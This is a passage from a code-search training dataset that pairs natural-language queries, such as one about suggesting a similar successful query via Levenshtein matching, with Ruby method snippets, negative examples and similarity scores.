description\n [@group.description,@description].join(' ')\n end", "def parts_query\n ActiveRDF::Query.new(TaliaCore::ActiveSource).select(:part).where(:part, N::DCT.isPartOf, self)\n end", "def descr\n return text_get(2, id)\n end", "def find_recipe_by_title\n # view_recipe(Recipe.find_by(title: ask('Which recipe would you like to look for? >:'))) # ask for recipe title, search for it and display\n list_recipes(Recipe.where(\"title LIKE ?\", \"%\"+ ask('Which recipe would you like to look for? >:') + \"%\").order(:title))\n\n end", "def all_of_description\n\t\treturn nil if self.all_of.empty?\n\t\treturn \" with all of: %s\" % [ self.all_of.map(&:name).join(', ') ]\n\tend", "def secondary_description\n (p = parsed_document.search('//p').map(&:text).select{ |p| p.length > 120 }.first).nil? ? '' : p\n end", "def provide_navigation_to_all_long_descriptions\n # Interface method\n end", "def product_description(product)\n product.description.gsub(/^(.*)$/, '<p>\\1</p>')\n end", "def long_desc\n return @inv.item_list\n end", "def extract_description(text_lines, start_line)\n\tdescription = \"\"\n\ttext_lines[start_line..-1].each do |line|\n\t\tif line == line.upcase && line != \"\"\n\t\t\tbreak\n\t\telse\n\t\t\tdescription << line.strip + \" \"\n\t\tend\n\tend\n\tdescription\nend", "def description\n\t # if the description exists\n\t # return it \n\t # else \n\t # scrape to get the description\n\t # return it\n\t # end\n\tend", "def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"Select title, amount from projects, pledges where projects.id = pledges.id order by title ASC;\"\nend", "def process_descriptions(n)\n descriptions = self.feature.descriptions\n delete_descriptions = self.fields.delete('descriptions.delete')\n descriptions.clear if !delete_descriptions.blank? && delete_descriptions.downcase == 'yes'\n 0.upto(n) do |i|\n prefix = i>0 ? \"#{i}.descriptions\" : 'descriptions'\n description_content = self.fields.delete(\"#{prefix}.content\")\n if !description_content.blank?\n description_content = \"<p>#{description_content}</p>\"\n author_name = self.fields.delete(\"#{prefix}.author.fullname\")\n description_title = self.fields.delete(\"#{prefix}.title\")\n author = author_name.blank? ? nil : AuthenticatedSystem::Person.find_by(fullname: author_name)\n description = description_title.blank? ? descriptions.find_by(content: description_content) : descriptions.find_by(title: description_title) # : descriptions.find_by(['LEFT(content, 200) = ?', description_content[0...200]])\n language = Language.get_by_code_or_name(self.fields.delete(\"#{prefix}.languages.code\"), self.fields.delete(\"#{prefix}.languages.name\"))\n attributes = {:content => description_content, :title => description_title}\n attributes[:language_id] = language.id if !language.nil?\n if description.nil?\n if language.nil?\n self.say \"Language needed to create description for feature #{self.feature.pid}.\"\n description = nil\n else\n description = descriptions.create(attributes)\n end\n else\n description.update_attributes(attributes)\n end\n if !description.nil?\n self.spreadsheet.imports.create(:item => description) if description.imports.find_by(spreadsheet_id: self.spreadsheet.id).nil?\n description.authors << author if !author.nil? && !description.author_ids.include?(author.id)\n end\n end\n end \n end", "def site_description\n headings = @doc.xpath(\"//h3[@class='clearl']\")\n content_sections = @doc.xpath(\"//h3[@class='clearl']/following-sibling::p[1]\")\n content = \"\"\n headings.zip(content_sections).each do |h, c| \n unless (c.to_s().squeeze().empty?)\n content << \"<h3>#{sanitize(h.to_s)}</h3>\" \n content << \"<p>#{sanitize(c.to_s)}\"\n end\n end\n rhtml = IO.read(File.expand_path(\"site_description.rhtml\", File.dirname(__FILE__)))\n content_html = Erubis::Eruby.new(rhtml)\n content_html.result(:content => content)\n end", "def descriptions\n []\n end", "def description\n description_section.join(\" \").tr(\"\\n\", ' ').gsub(/[{}]/,'').gsub(/\\[[^\\]]+\\]/,'') # strip rdoc\n end", "def name_descriptions_by_editor # :nologin: :norobots:\n if user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n query = create_query(:NameDescription, :by_editor, :user => user)\n show_selected_name_descriptions(query)\n end\n end", "def get_select_on_records(mc, iter)\n if iter[0] == SELECT_ARTISTS\n if mc.view_compile?\n sql = %Q{SELECT DISTINCT(artists.rartist), artists.sname FROM artists\n INNER JOIN records ON records.rartist = artists.rartist }\n else\n sql = %Q{SELECT DISTINCT(artists.rartist), artists.sname FROM artists\n INNER JOIN segments ON segments.rartist = artists.rartist\n INNER JOIN records ON records.rrecord = segments.rrecord }\n end\n else\n sql = %Q{SELECT DISTINCT(records.stitle), artists.rartist, artists.sname, records.rrecord FROM records\n INNER JOIN artists ON records.rartist = artists.rartist }\n end\n end", "def get_all_items(column,target_item_code)\n @target_item_id = \"\"\n @target_item_code = \"\"\n all_shortlist_item_ids = []\n all_shortlist_item_codes = []\n\n if column == \"maybe\"\n column_present = maybe_column\n first_item_id_root_div = first_maybe_item_id_root_div\n item_id_root_divs = maybe_item_id_root_divs\n elsif column == \"no\"\n column_present = no_column\n first_item_id_root_div = first_no_item_id_root_div\n item_id_root_divs = no_item_id_root_divs\n elsif column == \"yes\"\n column_present = yes_column\n first_item_id_root_div = first_yes_item_id_root_div\n item_id_root_divs = yes_item_id_root_divs\n end\n\n wait_until_element_present(column_present)\n if first_item_id_root_div.exists? == TRUE\n item_id_root_divs.each do |item_div|\n # get shortlist item id (that is used as a key to locate each item in the My Shortlist page)\n id_attribute = item_div.attribute_value(\"id\")\n shortlist_item_id = id_attribute.strip\n\n # get item code of shortlist item\n item_codes_from_url = item_div.link(:class => \"img\", :href => /.*/).href.split \"|\"\n item_product_code = item_codes_from_url[INDEX_FOR_STOCK_CODE]\n\n # store shortlist item id's in an array (that we can use later to retrieve all information relating to each item)\n all_shortlist_item_ids.push(shortlist_item_id)\n all_shortlist_item_codes.push(item_product_code)\n\n # locate the target item for which the quantity is updated, by using its item code\n if (item_product_code == target_item_code)\n @target_item_code = item_product_code\n @target_item_id = shortlist_item_id\n end\n end\n end\n\n if column == \"maybe\"\n @all_maybe_item_ids = all_shortlist_item_ids\n @all_maybe_item_codes = all_shortlist_item_codes\n elsif column == \"no\"\n @all_no_item_ids = all_shortlist_item_ids\n @all_no_item_codes = all_shortlist_item_codes\n elsif column == \"yes\"\n @all_yes_item_ids = all_shortlist_item_ids\n @all_yes_item_codes = all_shortlist_item_codes\n end\n end", "def snippet_containing_query(text)\n @query.split.each do |word|\n index = text.index(word)\n if index && index > 70\n text = text[index-70..-1]\n text = \"...\" + text[text.index(\" \")+1..text.length]\n end\n break if index\n end\n text\n end", "def items\n load_selection\n import_selection or render_select\n end", "def list_location_descriptions # :nologin:\n query = create_query(:LocationDescription, :all, :by => :name)\n show_selected_location_descriptions(query)\n end", "def description\n text_get(7, @id)\n end", "def update_html_for_abstract\n return unless details\n self.details_filtered = textile_to_html( details )\n end", "def descriptions\n return xpath_all(doc, './/Identify/description')\n end", "def index_query_results\n query = find_or_create_query(:NameDescription, by: params[:by])\n show_selected_name_descriptions(query, id: params[:id].to_s,\n always_index: true)\n end", "def location_descriptions_by_editor # :nologin: :norobots:\n if user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n query = create_query(:LocationDescription, :by_editor, :user => user)\n show_selected_location_descriptions(query)\n end\n end", "def expandEnhance\n litems = Array.new()\n match = 0\n docurl = URI.escape(@url + \"&q=\" + @loanitem.title)\n doc = Nokogiri::XML(open(docurl))\n \tdoc.xpath(\"//record\").each do |bibrec|\n \t if @loanitem.title.gsub(/[^a-zA-Z ]/, '') == bibrec.xpath(\"fields/title\").inner_text.strip.gsub(/[^a-zA-Z ]/, '')\n \t litem = Loanitem.new(bibrec.xpath(\"fields/title\").inner_text.strip,@loanitem.loandate)\n litem.isbn = bibrec.xpath(\"fields/isbn\").inner_text.slice(/(?:ISBN(?:-1[03])?:? )?(?=[-0-9 ]{17}\\b|[-0-9X ]{13}\\b|[0-9X]{10}\\b)(?:97[89][- ]?)?[0-9]{1,5}[- ]?(?:[0-9]+[- ]?){2}[0-9X]/)\n litem.authordesc = bibrec.xpath(\"fields/author\").inner_text\n litem.image = bibrec.xpath(\"coverimageurl\").inner_text\n litem.liburl = \"http://librarycatalogue.warwickshire.gov.uk/ABwarwick/Accessible.ashx?cmd=frec&hreciid=\" + bibrec.attribute(\"extID\")\n litems.push(litem)\n match = 1\n end\n \tend\n \tif match == 0\n litem = Loanitem.new(@loanitem.title,@loanitem.loandate)\n litems.push(litem)\n end\n \n return litems\n end" ]
[ "0.63168526", "0.61614364", "0.6091587", "0.6067165", "0.597548", "0.5955041", "0.59208214", "0.58952385", "0.58118385", "0.57744914", "0.57262135", "0.5726114", "0.5712092", "0.5658058", "0.56184465", "0.56152254", "0.55138016", "0.54820466", "0.54717505", "0.54685795", "0.54644084", "0.54536885", "0.5426673", "0.54129297", "0.53801405", "0.5374024", "0.5370994", "0.53476393", "0.53476393", "0.53293264", "0.53273034", "0.5325152", "0.5296718", "0.5292599", "0.5278691", "0.5250186", "0.5204936", "0.5204936", "0.519556", "0.51946795", "0.51881146", "0.51824814", "0.5178804", "0.51689357", "0.5166772", "0.51667", "0.5158135", "0.51552385", "0.5153947", "0.51469934", "0.5142835", "0.51408654", "0.5140359", "0.5123995", "0.512154", "0.51207525", "0.5115167", "0.51125723", "0.5111452", "0.5105943", "0.51005316", "0.50984746", "0.50940424", "0.50848234", "0.50785357", "0.507793", "0.50733906", "0.5061208", "0.5045874", "0.50423795", "0.5026879", "0.5023877", "0.5022262", "0.50173265", "0.50072753", "0.50054234", "0.5003097", "0.4997662", "0.499551", "0.4987533", "0.49870643", "0.4985709", "0.49777955", "0.49774075", "0.49734324", "0.4971019", "0.49694112", "0.49686164", "0.49684578", "0.49665785", "0.49609193", "0.49558926", "0.49552798", "0.49530542", "0.49516192", "0.49503112", "0.4944238", "0.49438143", "0.49431843", "0.49388346" ]
0.62491643
1
Trys to find a similar query that would be successful
def suggest_other_query(items, query) query = query.gsub(/_/," ").downcase distance_levenshtein = 100 longest_subseq = 0 word = "" matcher1 = Amatch::Levenshtein.new(query) matcher2 = Amatch::LongestSubsequence.new(query) items.each{ |item| name_array = item.name.downcase.split name_array.push(item.name.downcase) new_distance_array_levenshtein = matcher1.match(name_array).sort new_longest_subseq_array = matcher2.match(name_array).sort.reverse if new_distance_array_levenshtein[0] < distance_levenshtein and new_longest_subseq_array[0] >= longest_subseq word = item.name distance_levenshtein = new_distance_array_levenshtein[0] longest_subseq = new_longest_subseq_array[0] end } if distance_levenshtein <= 3 and longest_subseq >=2 self.closest_string = word end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def match_query(query); end", "def check_query\n self.query\n end", "def find(query); end", "def find(query); end", "def query?\n !qr?\n end", "def query_yields_solutions?\n true\n end", "def unanswered_questions; questions_not_matching_query(answered_questions_query); end", "def analyse_query?(name:, sql:)\n # FIXME: this seems bad. we should probably have a better way to indicate\n # the query was cached\n name != \"CACHE\" &&\n name != \"SCHEMA\" &&\n name.present? &&\n sql.downcase.include?(\"where\") &&\n IGNORED_SQL.none? { |r| sql =~ r }\n end", "def _query(*params)\n fail 'not implemented'\n end", "def query; end", "def test_like_search_condition\n search_conditions = [[\"Wes\", :like]]\n query_fields = {'some_table.first_name' => :string} \n conditions = build_query(search_conditions, query_fields) \n \n assert_equal '(some_table.first_name LIKE :keyword_0)', conditions.first\n assert_equal '%Wes%', conditions.last[:keyword_0]\n end", "def is_query?\n if @qr.to_i.eql? (0)\n return true\n end\n\n false\n end", "def results_with_query(results)\n results.find_all do |result|\n query.all? do |attribute, value|\n result.send(attribute) == value\n end\n end\n end", "def query(query_definition)\n return\n end", "def querytest_failing_common\n wait_for_hitcount(\"query=test&streaming.selection=true\", 28, 10)\n end", "def assert_valid_gqueries!\n return true if queries.length == @requested_queries.length\n\n (@requested_queries - queries.map(&:key)).each do |key|\n @errors.push(\"Gquery #{ key } does not exist\")\n end\n\n false\n end", "def data_query_exists?\n # TODO: add_data_query.php says: \"If the data query was already associated, it will be reindexed\"\n # we may need to figure it out somehow to avoid reindexes.\n #\n # use --check patch: returns true if data query does not exist, returns false if data query exists\n # will raise exception, when option not supported\n r = add_data_query(params + ' --check')\n !r\nrescue\n false\nend", "def one_result\n matched_combined = @matched_names.ids + @matched_tags.ids +\n @matched_queries.ids + @matched_creator.ids +\n @matched_modifier.ids\n return Asq.find(matched_combined[0]) if matched_combined.length == 1\n false\n end", "def compound_query?\n @split_query_strings.size > 1\n end", "def test_like_two_search_condition\n search_conditions = [[\"Wes\", :like],[\"Hays\", :like]]\n query_fields = {'some_table.first_name' => :string,'some_table.last_name' => :string} \n conditions = build_query(search_conditions, query_fields) \n \n fields = ['first_name','last_name']\n regExs = [build_regex_for_like(fields,'keyword_0'), \n build_regex_for_like(fields,'keyword_1')].join('[ ]AND[ ]')\n \n assert_match /^#{regExs}$/, conditions.first\n assert_equal '%Wes%', conditions.last[:keyword_0]\n assert_equal '%Hays%', conditions.last[:keyword_1]\n end", "def matches_requirement?(query, option, requirement); end", "def direct_query q, retries = 6\n begin\n settings.db.query q\n rescue\n next_retries = retries - 1\n if next_retries == 0\n raise\n else\n log.warn \"Could not execute raw query (attempt #{6 - next_retries}): #{q}\"\n timeout = (6 - next_retries) ** 2\n sleep timeout\n direct_query query_string, next_retries\n end\n end\nend", "def simple_equals_in other\n Search.alive?\n .where(query: other.query)\n .joins(:pseudo_graph_pattern)\n .where(pseudo_graph_patterns: { read_timeout: other.read_timeout })\n .where(pseudo_graph_patterns: { sparql_limit: other.sparql_limit })\n .where(pseudo_graph_patterns: { answer_limit: other.answer_limit })\n .where(pseudo_graph_patterns: { target: other.target })\n .where(pseudo_graph_patterns: { private: false })\n .order(created_at: :desc)\n .first\n end", "def CheckForNewSpecial(db, award, query, selection=\"having CHECKED_SCORE > RECORD order by CHECKED_SCORE desc\", isCA)\n res = db.query(\"select LOG.ID, QTH, MULTIPLIER.ID, CHECKED_SCORE, CHECKED_MULT, TRUNCATE(CLAIMED_CW_Q + - D2_CW - 0.5*D1_CW,0) AS CW_QSOS, TRUNCATE(CLAIMED_PH_Q - D2_PH - 0.5*D1_PH,0) as PH_QSOS, SCORE.T2_58, MAX(SPECIAL.SCORE) as RECORD, MIN(SPECIAL.T2_58) as TIMERECORD from LOG, SCORE, SPECIAL,MULTIPLIER where LOG.ID=SCORE.LOG_ID and SCORE.QTH=MULTIPLIER.NAME and LOG.CONTEST_YEAR=#{THISYEAR} and SPECIAL.NAME = \\\"#{award}\\\" #{query} group by LOG.ID, QTH #{selection} limit 1\")\n res.each(:as => :array) { |row|\n name = OpName(db, row[0].to_i)\n db.query(\"insert into SPECIAL (LOG_ID, NAME, STATION, YEAR, SCORE, QSOs, MULTIPLIERS, T2_58, CA) values (#{row[0]}, \\\"#{award}\\\", \\\"#{name}\\\", #{THISYEAR}, #{row[3]}, #{row[5].to_i + row[6].to_i}, #{row[4]}, #{row[7] ? (\"\\\"\" + row[7] + \"\\\"\") : \"NULL\"}, #{isCA})\")\n print \"New score for #{award} by #{name}\\n\"\n }\nend", "def custom_query?\n !custom_query.blank?\n end", "def is_query_valid\n # skip test for null prefix operators if in the process of completing the field name.\n return if(last_token_is(NULL_PREFIX_OPERATORS, 2) && !(query =~ /(\\s|\\)|,)$/))\n QueryBuilder.build_query(definition, query)\n end", "def retry_query\n Rails.logger.info('Retrying EDS Search')\n @attempts += 1\n search(@query[:term], @query[:profile], @query[:facets],\n @query[:page], @query[:per_page])\n end", "def should_not_log_query(input)\n queries = sql(input)\n\n expect(queries).to be_empty\n\n valid_output = sql(\"SELECT 1\").any? { |line| line.include? \"SELECT 1\" }\n\n expect(valid_output).to eq(true)\n end", "def expert_equals_in other\n Search.alive?\n .joins(pseudo_graph_pattern: :term_mappings)\n .where(pseudo_graph_patterns: { read_timeout: other.read_timeout })\n .where(pseudo_graph_patterns: { sparql_limit: other.sparql_limit })\n .where(pseudo_graph_patterns: { answer_limit: other.answer_limit })\n .where(pseudo_graph_patterns: { target: other.target })\n .where(pseudo_graph_patterns: { private: false })\n .where(pseudo_graph_patterns: { term_mappings: { dataset_name: other.target } })\n .where(pseudo_graph_patterns: { term_mappings: { mapping: other.mappings } })\n .order(created_at: :desc)\n .first\n end", "def RunQueries\n if @reqs.empty?\n @error = 'No queries defined, issue AddQuery() first'\n return false\n end\n\n req = @reqs.join('')\n nreqs = @reqs.length\n @reqs = []\n response = PerformRequest(:search, req, nreqs)\n \n # parse response\n begin\n results = []\n ires = 0\n while ires < nreqs\n ires += 1\n result = {}\n \n result['error'] = ''\n result['warning'] = ''\n \n # extract status\n status = result['status'] = response.get_int\n if status != SEARCHD_OK\n message = response.get_string\n if status == SEARCHD_WARNING\n result['warning'] = message\n else\n result['error'] = message\n results << result\n next\n end\n end\n \n # read schema\n fields = []\n attrs = {}\n attrs_names_in_order = []\n \n nfields = response.get_int\n while nfields > 0\n nfields -= 1\n fields << response.get_string\n end\n result['fields'] = fields\n \n nattrs = response.get_int\n while nattrs > 0\n nattrs -= 1\n attr = response.get_string\n type = response.get_int\n attrs[attr] = type\n attrs_names_in_order << attr\n end\n result['attrs'] = attrs\n \n # read match count\n count = response.get_int\n id64 = response.get_int\n \n # read matches\n result['matches'] = []\n while count > 0\n count -= 1\n \n if id64 != 0\n doc = response.get_int64\n weight = response.get_int\n else\n doc, weight = response.get_ints(2)\n end\n \n r = {} # This is a single result put in the result['matches'] array\n r['id'] = doc\n r['weight'] = weight\n attrs_names_in_order.each do |a|\n r['attrs'] ||= {}\n \n case attrs[a]\n when SPH_ATTR_BIGINT\n # handle 64-bit ints\n r['attrs'][a] = response.get_int64\n when SPH_ATTR_FLOAT\n # handle floats\n r['attrs'][a] = response.get_float\n\t\t\t\twhen SPH_ATTR_STRING\n\t\t\t\t # handle string\n\t\t\t\t r['attrs'][a] = response.get_string\n else\n # handle everything else as unsigned ints\n val = response.get_int\n if attrs[a]==SPH_ATTR_MULTI\n r['attrs'][a] = []\n 1.upto(val) do\n r['attrs'][a] << response.get_int\n end\n elsif attrs[a]==SPH_ATTR_MULTI64\n r['attrs'][a] = []\n\t\t\t\t\tval = val/2\n 1.upto(val) do\n r['attrs'][a] << response.get_int64\n end\n else\n r['attrs'][a] = val\n end\n end\n end\n result['matches'] << r\n end\n result['total'], result['total_found'], msecs, words = response.get_ints(4)\n result['time'] = '%.3f' % (msecs / 1000.0)\n \n result['words'] = {}\n while words > 0\n words -= 1\n word = response.get_string\n docs, hits = response.get_ints(2)\n result['words'][word] = { 'docs' => docs, 'hits' => hits }\n end\n \n results << result\n end\n #rescue EOFError\n # @error = 'incomplete reply'\n # raise SphinxResponseError, @error\n end\n \n return results\n end", "def query_overbooking_conflicts\n\n query = <<-QUERY\n select b1.id as booking_id_1, b1.date_from as date_from_1, b1.time_from as time_from_1, b1.date_to as date_to_1, b1.time_to as time_to_1, r1.id as resource_id_1, r1.booking_item_reference as booking_item_reference_1,\n b2.id as booking_id_2, b2.date_from as date_from_2, b2.time_from as time_from_2, b2.date_to as date_to_2, b2.time_to as time_to_2, r2.id as resource_id_2, r2.booking_item_reference as booking_item_reference_2\n from (\n select distinct least(r1.resource_id, r2.resource_id) as resource_id1, greatest(r1.resource_id, r2.resource_id) as resource_id2\n from (\n select b.id as booking_id, b.date_from, b.time_from, b.date_to, b.time_to, r.id as resource_id, r.booking_item_reference\n from bookds_bookings_lines_resources r\n join bookds_bookings_lines l on l.id = r.booking_line_id\n join bookds_bookings b on b.id = l.booking_id\n where (b.date_from >= ? or b.date_to >= ?) and r.booking_item_reference is not null and b.status not in (1,5)\n ) as r1\n inner join (\n select b.id as booking_id, b.date_from, b.time_from, b.date_to, b.time_to, r.id as resource_id, r.booking_item_reference\n from bookds_bookings_lines_resources r\n join bookds_bookings_lines l on l.id = r.booking_line_id\n join bookds_bookings b on b.id = l.booking_id\n where (b.date_from >= ? or b.date_to >= ?) and r.booking_item_reference is not null and b.status not in (1,5)\n ) as r2 on r2.booking_item_reference = r1.booking_item_reference and r2.resource_id != r1.resource_id\n group by r1.resource_id, r2.resource_id \n ) as x\n join bookds_bookings_lines_resources r1 on r1.id = resource_id1\n join bookds_bookings_lines l1 on l1.id = r1.booking_line_id\n join bookds_bookings b1 on b1.id = l1.booking_id\n join bookds_bookings_lines_resources r2 on r2.id = resource_id2\n join bookds_bookings_lines l2 on l2.id = r2.booking_line_id\n join bookds_bookings b2 on b2.id = l2.booking_id\n join bookds_items on r1.booking_item_reference = bookds_items.reference and bookds_items.assignable \n where ((b1.date_from <= b2.date_from and b1.date_to >= b2.date_from) or (b1.date_from >= b2.date_from and b1.date_to <= b2.date_to) or (b1.date_from >= b2.date_from and b1.date_from <= b2.date_to))\n order by least(b1.date_from,b2.date_from)\n QUERY\n\n end", "def needs_db_query?(search)\n search[:author_id].present? || search[:include_closed] == true\n end", "def process_query(query)\n # Nothing in default\n end", "def find_by_sql(sql)\n raise \"not implemented\"\n end", "def query(_tql)\n raise NotImplementedError.new\n end", "def test_search_equals_with_cursor\n assert_repeated_output('No matches.') do\n assert_cmd_posts(\"search id=#{id} -L 5 --cursor box\",\n \"/api/v2/search/#{api_path}\",\n limit: '5',\n cursor: 'box',\n query: [{ key: 'id',\n value: id,\n matchingMethod: 'EXACT',\n negated: false }],\n sort: { field: 'id', ascending: true })\n end\n\n assert_abort_on_missing_creds(\"search id=#{id} -L 5 --cursor box\")\n end", "def test_query\n add_test_judgement\n assert(@gold_standard.contains_query? :querystring => \"query1\")\n end", "def find_query(querys,name_q)\n # newq = querys.find{|q| ( q.find{|h| (h.subject_id)})}\n new_q=nil\n\n if !querys.empty?\n new_q=querys.find{|q| (q.query_id==name_q)}\n end\n\n return new_q\n end", "def foreign_key_error?(exception)\n exception.message =~ /query does not return ResultSet/\n end", "def valid_query?(query)\n check_reader\n\n AlpinoCorpusFFI::alpinocorpus_is_valid_query(@reader, query) == 1\n end", "def test_no_query_search\n assert_raises(RuntimeError) { DuckDuckGo::search({:bad => :hash}) }\n end", "def makeSearch #:doc:\n # beginning of sql query string\n sql = @select_part1 + \" \" + @select_part2\n\n begin\n @hash_in_where = \"\"\n \n if @context_hash != nil\n \n # If 'user' parameter given, only files owned by 'user' can be in search results.\n only_these_users_in_where = \"\"\n if @only_these_users != nil\n only_these_users_in_where = \" users.username IN (\"\n users = @only_these_users.split(' ')\n users.each_with_index do |x, i|\n if i == 0\n only_these_users_in_where += \"'\" + x + \"'\"\n else\n only_these_users_in_where += ', ' + \"'\" + x + \"'\"\n end\n end\n \n only_these_users_in_where += \") AND \"\n end\n \n \n # Find devfiles that have queried context_hash\n devfiles = Devfile.find_by_sql(\"SELECT devfiles.id as devfile_id, devfiles.device_id, metadatas.devfile_id, metadatas.metadata_type_id,\n metadatas.value, metadata_types.id, metadata_types.name,\n devices.id, devices.user_id, users.id, users.username \n FROM devfiles, metadatas, metadata_types, devices, users\n WHERE metadatas.value = '\"+@context_hash+\"' AND\n metadata_types.name = 'context_hash' AND\n devfiles.id = metadatas.devfile_id AND\n devices.id = devfiles.device_id AND\n devices.user_id = users.id AND #{only_these_users_in_where}\n metadatas.metadata_type_id = metadata_types.id\")\n \n if devfiles != nil && devfiles.size > 0\n # Add id:s of devfiles that will be included into results, because these devfiles belong to queried context\n @hash_in_where = \" OR devfiles.id IN ( \"\n \n @devfiles_in_context = Array.new\n \n devfiles.each_with_index do |x, i|\n @devfiles_in_context.push(x.devfile_id)\n if i == 0\n @hash_in_where += x.devfile_id.to_s\n else\n @hash_in_where += \", \" + x.devfile_id.to_s\n end \n end\n @hash_in_where += \" )\"\n end\n end\n puts @hash_in_where\n available_files_only_in_where = \"\"\n \n if @availableFilesOnly == true\n available_files_only_in_where = \" AND ( blobs.uploaded = 1 OR devices.last_seen >= '#{device_online_timeout.to_s(:db)}' ) \"\n end\n \n show_deleted_files_in_where = \"\"\n \n if @showDeletedFiles == false && @queryparams[:what_to_get] =~ /files/i\n show_deleted_files_in_where = \" AND devfiles.deleted = 0 \"\n end\n \n # make the where-part of the sql query\n if not @versionlist_conditions\n makeConditions\n if @condition_string != \"\" || @hash_in_where != \"\"\n sql += \" ( \" + @condition_string + @hash_in_where + \" ) \"\n else\n sql += \" false \"\n end\n sql += show_deleted_files_in_where + available_files_only_in_where + @default_id_conditions\n else\n sql += \" \" + @versionlist_conditions + \" \" + @default_id_conditions\n end\n rescue => exp\n putsE(exp)\n raise exp\n end\n\n @sql = sql\n \n # sorting order\n @sql_sorting = \"\"\n if not @versionlist_sorting\n @sql_sorting = getSortingOrder\n else\n @sql_sorting = @versionlist_sorting\n end\n \n sql += \" ORDER BY \" + @sql_sorting\n puts \"Initial SQL: #{sql}\"\n \n @results_per_page = 100 # default\n @show_page = 1 # default\n if @queryparams[:format] == \"atom\"\n @results_per_page = 100 #default maxresults for atom-feed\n if @queryparams[:maxresults] and @queryparams[:maxresults] =~ /^\\d{1,}$/\n @results_per_page = @queryparams[:maxresults]\n end\n else\n if @queryparams[:perpage]\n @results_per_page = @queryparams[:perpage].to_i\n end\n if @queryparams[:page] and @queryparams[:page] =~ /^\\d{1,}$/\n @show_page = @queryparams[:page]\n end\n end\n\n # will_paginate uses sql-subqueries to get COUNT of rows. Subqueries are NOT\n # supported by Mysql versions < 4.1. So we have to do the counting by ourselves...\n count = sql.gsub(@select_part1, \"SELECT COUNT(*) AS entries\").gsub(/\\sORDER BY.*$/, \"\").gsub!(/\\:\\w+/) do |s|\n \"'\" + @condition_values[s.gsub(\":\", \"\").intern].to_s + \"'\"\n end\n \n \n \n if @queryparams[:what_to_get] =~ /files/i\n # entries = Devfile.count_by_sql(count)\n\n # Pagination will be made later, with new sql query\n @results = Devfile.find_by_sql [sql, @condition_values]#,\n# :page => @show_page,\n# :per_page => @results_per_page,\n# :total_entries => entries\n # Remove files from results that user is not allowed to access\n checkFileRightstoResults \n elsif @queryparams[:what_to_get] =~ /devices/i\n entries = Device.count_by_sql(count)\n @results = Device.paginate_by_sql [sql, @condition_values],\n :page => @show_page,\n :per_page => @results_per_page,\n :total_entries => entries\n # SHOULD EVERYONE BE ALLOWED TO SEE ALL DEVICES?\n \n elsif @versionlist_conditions\n entries = Blob.count_by_sql(count)\n @results = Blob.paginate_by_sql [sql, @condition_values],\n :page => @show_page,\n :per_page => @results_per_page,\n :total_entries => entries\n end\n end", "def is_single_resource_query?(query)\n query.conditions.length == 1 && query.conditions.first.first == :eql && query.conditions.first[1].name == :id\n end", "def more_results?()\n #This is a stub, used for indexing\n end", "def matches(value)\n output, status = provider.run_unless_sql_command(value)\n status = output.exitcode if status.nil?\n\n output='0' unless status == 0\n\n result_count = output.strip.to_i\n self.debug(\"Found #{result_count} row(s) executing 'onlyif' clause\")\n result_count == 0\n end", "def initial_query; end", "def valid?(query)\n validate(query).valid?\n end", "def perform_query(query, operand)\n# STDERR.puts \"perform_query(q '#{query}', op '#{operand}')\"\n records = []\n\t\t \n if operand.is_a?(DataMapper::Query::Conditions::NotOperation)\n#\tSTDERR.puts \"operand is a NOT operation\"\n\tsubject = operand.first.subject\n\tvalue = operand.first.value\n elsif operand.subject.is_a?(DataMapper::Associations::ManyToOne::Relationship)\n#\tSTDERR.puts \"operand subject is a many-to-one relation: '#{operand.subject.inspect}'\"\n\tif operand.subject.parent_model == NamedQuery && operand.subject.child_model == Bug\n\t name = operand.value[operand.subject.parent_key.first.name]\n\t bugs = named_query(name)\n\t bugs.each do |bug|\n\t records << bug_to_record(query.model, bug)\n\t end\n\t return records\n\telse\n\t raise \"Unknown parent (#{operand.subject.parent_model}) child (#{operand.subject.child_model}) relation\"\n\tend\n else\n#\tSTDERR.puts \"operand is normal\"\n\tsubject = operand.subject\n\tvalue = operand.value\n end\n \n if subject.is_a?(DataMapper::Associations::ManyToOne::Relationship)\n#\tSTDERR.puts \"subject is a many-to-one relation\"\n\tsubject = subject.child_key.first\n end\n \n # typical queries\n #\n \n# STDERR.puts \"perform_query(subject '#{subject.inspect}', value '#{value.inspect}')\"\n case query.model.name\n when \"Bug\"\n\tif query.model.key.include?(subject)\n\t # get single <bug>\n\t bugs = get_bugs(value)\n\t records << bug_to_record(query.model, bugs.first)\n\telse\n\t raise \"Unknown query for bug\"\n\tend\n when \"NamedQuery\"\n\trecords << { subject.name.to_s => value }\n\t# be lazy: do the actual named query when NamedQuery#bugs gets accessed\n else\n\traise \"Unsupported model '#{query.model.name}'\"\n end\n \n records\n end", "def invalid_query?\n ->(body) { body =~ /#{INVALID[:query]}/ }\n end", "def find_all_failed_questions\n # loose checking to prevent the function twice at the same time\n return if @find_all_failed_questions\n @find_all_failed_questions = true\n new_questions = 0\n @tables.each do |t,f|\n q = \"SELECT path, abstract_form, #{f.join(\", \")} FROM #{t} WHERE #{f.join(\"=-1 OR \")}=-1\"\n res = RT.custom_query(q)\n res.each do |q|\n # skip all files that have already been processed\n next if @all_processed_paths.include?(q[\"path\"])\n @all_processed_paths << q[\"path\"]\n form = Marshal.load(Base64.decode64(q[\"abstract_form\"]))\n # use the database result to check if a question is failed.\n # AbstractForm is never changed, so already fixed questions need\n # to be excluded.\n form.questions.select { |qq| q[qq.db_column].to_i == -1 }.each do |qq|\n ident = \"#{q[\"path\"]}_#{qq.db_column}\"\n # skip existing entries\n next unless @all_failed_questions.assoc(ident).nil?\n data = {}\n data[\"path\"] = q[\"path\"]\n data[\"table\"] = t\n form.pages.each_with_index do |p,i|\n data[\"page\"] = i if p.questions.include?(qq)\n end\n data[\"question\"] = qq\n @all_failed_questions << [ident, data]\n new_questions += 1\n end\n end\n end\n debug \"Found #{new_questions} new question(s)\"\n @find_all_failed_questions = false\n end", "def for_query(query)\n all.find { |f| f.query == query }\n end", "def search(query); end", "def assert_queries_match(query1, query2, filter_exp=nil, sort=false, qrserver_id=0)\n result_xml1 = search(query1, qrserver_id).xmldata.split(\"\\n\")\n result_xml2 = search(query2, qrserver_id).xmldata.split(\"\\n\")\n assert_resultsets_match(result_xml1, result_xml2, filter_exp, sort)\n end", "def find(query)\n begin\n answer = \"Unknown Query. We are sorry!! We coludnot answer you\"\n\n 